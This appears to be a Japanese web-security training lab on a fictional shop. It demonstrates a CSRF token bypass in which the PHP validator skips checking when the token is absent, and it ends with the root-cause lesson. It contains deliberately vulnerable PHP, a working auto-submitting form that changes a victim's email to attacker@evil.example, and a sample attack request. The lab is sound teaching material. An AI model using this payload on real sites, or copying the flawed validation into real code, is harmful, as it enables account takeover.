Lab 01 の指摘を受けて、うつろい EC は CSRF Token を実装した。フォームには csrf_token という hidden field があり、サーバ側で「Token が一致するか」を検証している。
しかしサーバ側の実装にバグがある:Token が空文字列(またはパラメータ自体が無い)場合、検証がスキップされる。「Token を検証する」という条件分岐の中に「もし Token があれば」というガードが入っていて、Token を送らなければ検証自体が行われない。
Lab 01 の指摘を受けて、うつろい EC は CSRF Token を実装した。フォームには csrf_token という hidden field があり、サーバ側で「Token が一致するか」を検証している。
しかしサーバ側の実装にバグがある:Token が空文字列(またはパラメータ自体が無い)場合、検証がスキップされる。「Token を検証する」という条件分岐の中に「もし Token があれば」というガードが入っていて、Token を送らなければ検証自体が行われない。
この実装ミスを突いて、被害者のメールアドレスを attacker@evil.example に変更してください。Token を送らなければ検証されない。
// PHP
function validate_csrf() {
// ★バグ: Token が送られていない場合、検証をスキップ
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] === '') {
return true; // ← 検証スキップ
}
return $_POST['csrf_token'] === $_SESSION['csrf_token'];
}
if (!validate_csrf()) {
abort(403);
}
// ↓ ここに到達してしまう
$user->email = $_POST['email'];
$user->save();
<form action="https://shop.utsuroi.example.com/account/email" method="POST">
<input type="email" name="email" value="attacker@evil.example">
<!-- ★ csrf_token フィールドが無い → サーバ側で検証スキップ -->
</form>
<script>document.forms[0].submit();</script>
POST /account/email HTTP/1.1 Cookie: session=victim_session_xxx email=attacker@evil.example (csrf_token フィールドなし)
サーバ側のコードをよく読むと、「Token が送られていないか空文字列なら、true を返す」という条件分岐があります。これは「未認証ユーザのリクエストには Token を要求しない」というつもりで書いた防御コードがバグになっている典型例。
下のチェックボックスで「CSRF Token を含めて送信」のチェックを外してから「攻撃を実行」を押してください。
「CSRF Token を含めて送信」のチェックを外して攻撃を実行。Token フィールドが送られないため、サーバの検証関数が「Token なし→検証スキップ」のパスを通り、攻撃者のメールアドレスが設定されます。
このバグの根本原因は「正常系を考えて防御を緩めた」こと。「ログイン前のフォームには Token が無いから、無い場合は通そう」という発想がそのまま脆弱性になりました。CSRF Token は「送られて」「正しい」の両方を必須にするのが鉄則。